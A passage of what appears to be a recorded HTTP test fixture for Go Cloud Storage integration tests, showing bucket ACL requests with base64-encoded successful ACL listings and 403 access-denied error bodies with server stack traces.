XZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwMCwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4ifX0=" - } - }, - { - "ID": "8c1628782bcf7eaf", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2370" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:00 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:00 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqmer5wTHG4zziRJUR_QqUbX_xgytHZkMg2KFntbVz8pn55RFN7idAyYcqz3AhqthLD-bHH2Lggdg4MuIdjHVk_kKHxvDdqI0p814avmZPYAhJdvsE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FNPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9kb21haW4tZ29vZ2xlLmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvZG9tYWluLWdvb2dsZS5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNBTT0ifV19" - } - }, - { - "ID": "6813d64060667ba0", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13059" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:00 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:00 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpsvYC9PE_CO5H9MncFfA0uYzQqFBOqu0_zdexcxDTJ22CO_vv1LiRY6ZSC49_FMeUZBA3KdMfOnS7DsSxBpqrLC9ZM6GAs2sFolmZKhp0RWJjvOzs" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9Rk9SQklEREVOLCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9BQ0NFU1NfREVOSUVEOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1mb3JiaWRkZW4sIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLkZPUkJJRERFTiwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9BQ0NFU1NfREVOSUVEOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRS